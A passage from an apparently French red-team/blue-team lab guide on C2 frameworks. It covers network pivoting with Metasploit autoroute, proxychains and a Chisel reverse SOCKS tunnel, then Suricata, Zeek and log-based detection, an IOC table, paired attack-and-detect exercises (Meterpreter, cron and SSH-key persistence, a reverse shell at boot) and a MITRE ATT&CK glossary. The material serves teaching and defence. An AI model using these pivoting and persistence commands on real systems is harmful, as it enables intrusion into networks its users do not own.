segments reseau non directement accessibles. Dans un lab, on peut simuler cela en ajoutant un
deuxieme reseau interne. C'est une technique fondamentale enseignee dans OSCP.

8.1 Pivoting via Metasploit (Autoroute)


# Prerequis : avoir une session Meterpreter active sur Metasploitable
# Imaginer que Metasploitable a acces a un 2eme reseau [Link]/24

# Etape 1 : Voir les interfaces reseau de la cible depuis Meterpreter


ifconfig # Voir les interfaces de la cible
arp # Autres hotes connus par la cible

# Etape 2 : Ajouter une route via la session Meterpreter (autoroute)


background # Mettre la session en BG
use post/multi/manage/autoroute
set SESSION 1
set SUBNET [Link]/24 # Reseau cible a atteindre
run
[+] Route added to subnet [Link]/24 via session 1

# Etape 3 : Scanner le reseau interne via le pivot


use auxiliary/scanner/portscan/tcp
set RHOSTS [Link]-254
set PORTS 22,80,443,3389
run
# Metasploit envoie le trafic via la session Meterpreter comme relais

8.2 Pivoting via Proxy SOCKS (Proxychains)


# Etape 1 : Creer un proxy SOCKS5 via Meterpreter
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
[*] Auxiliary module running as background job 1.
[*] Starting the SOCKS proxy server

# Etape 2 : Configurer proxychains


sudo nano /etc/[Link]
# Modifier la derniere ligne :
socks5 [Link] 1080

# Etape 3 : Utiliser n'importe quel outil via le pivot


proxychains nmap -sT -Pn [Link] # Scanner via pivot
proxychains curl [Link] # Acceder a un site interne
proxychains ssh user@[Link] # SSH vers machine interne
proxychains firefox # Navigateur via pivot

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

8.3 Pivoting avec Chisel (Tunnel TCP moderne)


# Chisel est un outil moderne de tunneling TCP/UDP via HTTP
# Installer Chisel sur Kali :
wget
[Link]
[Link]
gunzip chisel_linux_amd64.gz && chmod +x chisel_linux_amd64 && mv
chisel_linux_amd64 /usr/local/bin/chisel

# Sur Kali (serveur Chisel) :


chisel server -p 8000 --reverse
[1] Listening on [Link]:8000...

# Sur Metasploitable (client Chisel - via C2 shell) :


./chisel client [Link]:8000 R:socks
client: Connected (Latency 1ms)
# Kali a maintenant un proxy SOCKS5 sur [Link]:1080 pointant vers
Metasploitable

# Utiliser via proxychains (comme section 8.2)


proxychains nmap -sT -Pn [Link]/24

RED TEAM : Pivoting reseau BLUE TEAM : Defense contre le pivoting


Autoroute : simple, integre dans Metasploit, ideal Segmentation reseau stricte : les serveurs ne
en lab. doivent pas voir le reseau interne.
SOCKS proxy : permet a TOUS les outils de Firewall entre segments : regle 'deny any any' par
passer via le pivot. defaut.
Chisel : tunnel HTTP, passe les firewalls qui EDR : detecter les processus qui creent des
autorisent le port 80/443. connexions TCP inhabituelles.
Monitoring Netflow : identifier les flux entre
segments non autorises.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 9 : Blue Team - Detection des Frameworks C2


Objectif Blue Team
Comprendre les C2 du cote attaquant permet de mieux les detecter du cote defensif. Ce chapitre
couvre la mise en place de la detection C2 sur ton lab avec des outils gratuits : Suricata (IDS),
Zeek (analyse reseau), et l'analyse des logs systeme. C'est la base du travail d'un analyste SOC.

9.1 Installation de Suricata (IDS Reseau)


# Sur Kali - Installer Suricata
sudo apt install suricata -y
sudo suricata-update # Mettre a jour les regles

# Lancer Suricata sur l'interface du lab


sudo suricata -i eth0 -c /etc/suricata/[Link] -l /var/log/suricata/

# Surveiller les alertes en temps reel


sudo tail -f /var/log/suricata/[Link]
sudo tail -f /var/log/suricata/[Link] | python3 -m [Link] | head -50

# Exemple d'alerte Suricata sur un scan Nmap :


04/04/2024-10:23:15.123456 [**] [1:2010937:3] ET SCAN Nmap Scripting Engine User-
Agent Detected [**]
[Classification: Web Application Attack] [Priority: 1]
[Link]:48123 -> [Link]:80

# Ecrire une regle Suricata personnalisee pour detecter Meterpreter


sudo nano /etc/suricata/rules/[Link]
# Regle pour detecter les connexions sur port 4444 (Metasploit par defaut) :
alert tcp any any -> $HOME_NET 4444 (msg:"Possible Metasploit C2 port 4444";
sid:9000001; rev:1;)
alert tcp $HOME_NET any -> any 4444 (msg:"Possible reverse shell port 4444";
sid:9000002; rev:1;)

# Recharger Suricata avec les nouvelles regles


sudo suricatasc -c reload-rules

9.2 Zeek (Bro) - Analyse des Protocoles Reseau


# Installer Zeek sur Kali
sudo apt install zeek -y

# Lancer Zeek sur l'interface du lab


sudo zeek -i eth0 /usr/share/zeek/scripts/

# Analyser les logs Zeek (dans le dossier courant)


ls *.log # [Link], [Link], [Link], etc.
cat [Link] | zeek-cut id.orig_h id.resp_h id.resp_p duration | sort -k4 -rn
| head
# Connexions triees par duree (les longues peuvent etre des C2 !)

# Detecter des beacons C2 reguliers avec Rita (outil d'analyse Zeek)


sudo apt install rita -y # Si disponible

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

rita import /path/to/zeek/logs/ lab-dataset


rita show-beacons lab-dataset # Afficher les connexions
periodiques
# Rita identifie les connexions qui ont un pattern regulier -> beacons C2 !

9.3 Analyse des Logs Systeme pour Detecter un C2


# Sur la machine cible (Metasploitable) - detecter une compromission
# Connexions reseau sortantes actives
netstat -tulnp | grep ESTABLISHED
ss -tulnp | grep ESTABLISHED
# Chercher des connexions vers des IPs inconnues

# Processus suspects
ps aux | grep -E 'nc|bash|python|perl|ruby' | grep -v grep
lsof -i -n -P | grep ESTABLISHED # Processus avec connexions ouvertes

# Fichiers modifies recemment


find /tmp /var/tmp /dev/shm -newer /etc/passwd -type f 2>/dev/null
find / -mtime -1 -type f -name '*.sh' 2>/dev/null # Scripts SH modifies dans
24h

# Verifier le crontab et les services


crontab -l && cat /etc/cron* 2>/dev/null
systemctl list-units --type=service --state=running
cat /root/.ssh/authorized_keys 2>/dev/null # Cles SSH ajoutees

# Verifier les logs d'authentification


grep 'Accepted' /var/log/[Link] | tail -20 # Connexions SSH reussies
grep 'Failed' /var/log/[Link] | awk '{print $9}' | sort | uniq -c | sort -
rn

# Installer et lancer rkhunter pour detecter les rootkits


sudo apt install rkhunter chkrootkit -y
sudo rkhunter --check --sk # Scan complet de rootkits
sudo chkrootkit # Scanner complementaire

9.4 Tableau de Detection : Red Team vs Blue Team


Technique C2 Indicateur (IOC) Outil de Detection

Reverse Shell TCP Connexion sortante sur Suricata, netstat, ss, firewall egress
port 4444/1234/9999

Meterpreter Processus ELF inconnu EDR, lsof, Suricata signatures MSF


+ connexion TCP
chiffree

Empire HTTP Requetes HTTP Zeek [Link], Suricata, proxy logs


regulieres avec URI
aleatoire

Sliver mTLS Connexion TLS vers IP Zeek [Link], inspection TLS


inconnue avec cert auto-
signe

Beacon periodique Connexions toutes les Rita (analyse Zeek), Netflow


60/300 secondes

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Technique C2 Indicateur (IOC) Outil de Detection

exactement

Crontab backdoor Entree cron inconnue, Wazuh HIDS, audit crontab, AIDE
commande bash
suspecte

SSH backdoor key Cle inconnue dans Wazuh FIM, audit /root/.ssh/, SIEM
authorized_keys

Service systemd Service inconnu avec systemctl list-units, Wazuh


ExecStart bash/nc

Pivoting SOCKS Proxy SOCKS local sur netstat -tulnp, surveillance des ports
port 1080

DNS Tunneling Requetes DNS Zeek [Link], Pi-hole, Suricata DNS


frequentes, long TXT
records

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Chapitre 10 : Exercices Pratiques Complets Red vs Blue


Format des exercices
Chaque exercice a deux parties : Red Team (attaque en lab) et Blue Team (detection). Pour
maximiser l'apprentissage, realiser la partie Red Team d'abord, puis la partie Blue Team. Cela
permet de comprendre POURQUOI la detection fonctionne.

Exercice Complet 1 : Etablir un C2 Metasploit et le Detecter


Partie Red Team (30 min)
1. Sur Kali : lancer le listener Metasploit sur port 4444.
2. Generer un payload ELF Linux stageless avec MSFvenom.
3. Obtenir un acces initial sur Metasploitable (vsftpd backdoor ou SSH brute force).
4. Transferer et executer le payload ELF sur Metasploitable.
5. Verifier la session Meterpreter recue sur Kali.
6. Executer 5 commandes post-exploitation : sysinfo, getuid, download /etc/passwd, search -f
*.conf, shell.
7. Ajouter une persistance via crontab.
8. Restaurer le snapshot Metasploitable apres l'exercice.

Partie Blue Team (30 min)


9. Sur Kali : lancer Suricata sur eth0 AVANT l'attaque.
10. Refaire l'attaque Red Team pendant que Suricata monitore.
11. Analyser /var/log/suricata/[Link] : quelles alertes sont generees ?
12. Sur Metasploitable : verifier netstat/ss pour les connexions etablies.
13. Identifier le processus malveillant avec ps aux et lsof.
14. Trouver la persistance crontab : crontab -l.
15. Ecrire un rapport : quels IOCs as-tu identifies ? Quels auraient ete les premiers signes
d'alerte pour un admin vigilant ?

Exercice Complet 2 : C2 Discret via Socat TLS et Detection Zeek


Partie Red Team
16. Generer un certificat auto-signe sur Kali (openssl req...).
17. Lancer un listener Socat TLS sur port 443.
18. Sur Metasploitable (via shell initial) : executer le client Socat TLS vers Kali.
19. Executer des commandes depuis le shell TLS Socat.
20. Observer que le trafic capture par Wireshark est chiffre et illisible.

Partie Blue Team


21. Lancer Zeek sur eth0 : sudo zeek -i eth0.
22. Analyser [Link] : zeek-cut id.orig_h id.resp_h server_name validation_status < [Link].
23. Identifier la connexion TLS suspecte : certificat auto-signe, pas de SNI.
24. Analyser [Link] pour la duree et le volume de la connexion.
25. Conclure : pourquoi TLS sur port 443 est-il difficile a bloquer mais detectable ?

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Exercice Complet 3 : Persistence SSH et Forensics


Partie Red Team
26. Via Meterpreter ou shell C2 : generer une cle SSH sur Kali.
27. Installer la cle publique dans /root/.ssh/authorized_keys sur Metasploitable.
28. Se connecter via SSH sans mot de passe depuis Kali (acces persistant).
29. Ajouter aussi une entree dans /etc/[Link] pour un reverse shell au demarrage.
30. Redemarrer Metasploitable et verifier que l'acces persiste.

Partie Blue Team - Forensics


31. Analyser authorized_keys : cat /root/.ssh/authorized_keys - identifier la cle inconnue.
32. Verifier les derniers logins : last et lastlog.
33. Analyser /var/log/[Link] : grep Accepted - voir les connexions SSH reussies.
34. Checker [Link] : cat /etc/[Link] - trouver la commande malveillante.
35. Nettoyer : supprimer la cle de authorized_keys, corriger [Link].
36. Installer Wazuh pour monitorer automatiquement ces fichiers a l'avenir.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Annexe : Matrice MITRE ATT&CK et Glossaire C2


A.1 Techniques C2 dans MITRE ATT&CK
MITRE ATT&CK est le referentiel mondial des techniques utilisees par les attaquants. Voici le
mapping des techniques de ce guide avec leurs IDs ATT&CK :
ID ATT&CK Technique Couvert dans ce guide

T1059.004 Unix Shell Reverse shells bash, stabilisation shell

T1059.006 Python Reverse shell Python, agents Python Empire

T1071.001 Web Protocols (HTTP/S) Empire HTTP listener, Sliver HTTP, payload PHP

T1071.004 DNS DNS tunneling concept, Sliver DNS

T1090.001 Internal Proxy Proxychains, autoroute Metasploit

T1090.003 Multi-hop Proxy Chisel reverse SOCKS, pivoting multi-sauts

T1105 Ingress Tool Transfer wget/curl pour transferer les payloads

T1543.002 Systemd Service Persistance via service systemd malveillant

T1053.003 Cron Persistance via crontab malveillant

T1098.004 SSH Authorized Keys Backdoor via cle SSH autorisee

T1572 Protocol Tunneling Socat TLS, Chisel HTTP tunnel

T1573 Encrypted Channel Meterpreter TLS, Socat TLS, Sliver mTLS

A.2 Glossaire C2
Terme Definition

Agent / Implant Programme malveillant installe sur la cible qui communique avec le
serveur C2.

Beacon Agent qui se connecte periodiquement au C2 (toutes les X secondes) au


lieu de maintenir une connexion permanente. Plus discret.

C2 (Command & Infrastructure permettant a l'attaquant de controler les machines


Control) compromises.

Callback Connexion initiee par l'agent vers le serveur C2.

Dropper Petit programme dont le seul role est de telecharger et executer l'agent
C2 reel.

Egress Trafic sortant du reseau (de l'interieur vers l'exterieur).

Fileless Technique ou l'agent s'execute en memoire sans jamais ecrire de fichier


sur le disque.

IOC (Indicator of Evidence technique d'une compromission : hash de fichier, IP de C2,


Compromise) pattern reseau.

Jitter Variation aleatoire ajoutee au delai entre deux beacons pour rendre le
pattern moins regulier.

Listener Service qui ecoute les connexions entrantes des agents sur le serveur
C2.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation
C2 Command & Control - Lab de Cybersecurite | Red Team & Blue Team

Terme Definition

LotL (Living off the Utiliser des outils natifs du systeme (bash, powershell, python) pour eviter
Land) la detection.

Payload Code executable envoye vers la cible pour etablir la connexion C2.

Pivot Utiliser une machine compromise comme relais pour atteindre d'autres
machines.

Staged Payload en deux parties : un petit stager initial qui telecharge le payload
complet.

Stageless Payload autonome : tout le code C2 est inclus dans le fichier initial.

Stager Premier composant d'un payload staged : minimal, se connecte et


telecharge le stage 2.

Teamserver Serveur C2 partage entre plusieurs operateurs Red Team.

A.3 Ressources pour Approfondir


• MITRE ATT&CK : [Link] - Referentiel complet des techniques
• Site : [Link] - Comparatif de tous les frameworks C2 du marche
• GitHub : [Link] - Documentation officielle Sliver
• GitHub : [Link] - Documentation officielle Empire
• GitHub : [Link] - Wiki Metasploit
• Livre : 'Red Team Development and Operations' - Joe Vest, James Tubberville
• Livre : 'The Hacker Playbook 3' - Peter Kim (chapitres Red Team)
• YouTube : HackTheBox Academy - Cours C2 et post-exploitation
• TryHackMe : Room 'Metasploit: Meterpreter' pour les debutants
• TryHackMe : Path 'Jr Penetration Tester' - couvre tous les concepts C2 de base
• Certification : OSCP inclut les C2 dans son curriculum (lab de 24h)
• Certification : eCPPTv2 (eLearnSecurity) - pentest complet avec pivoting et C2

Conseil final Blue Team


La meilleure defense contre les C2 n'est pas de les bloquer en entree (un attaquant trouve
toujours un chemin) mais de les detecter RAPIDEMENT apres leur installation. Objetif : Mean
Time To Detect (MTTD) le plus court possible. Un C2 non detecte pendant 197 jours (moyenne
mondiale) cause enormement plus de dommages qu'un C2 detecte en 24h.

Reseau isole Host-Only uniquement - Usage educatif et lab autorise - Ne jamais utiliser sans autorisation

Vous aimerez peut-être aussi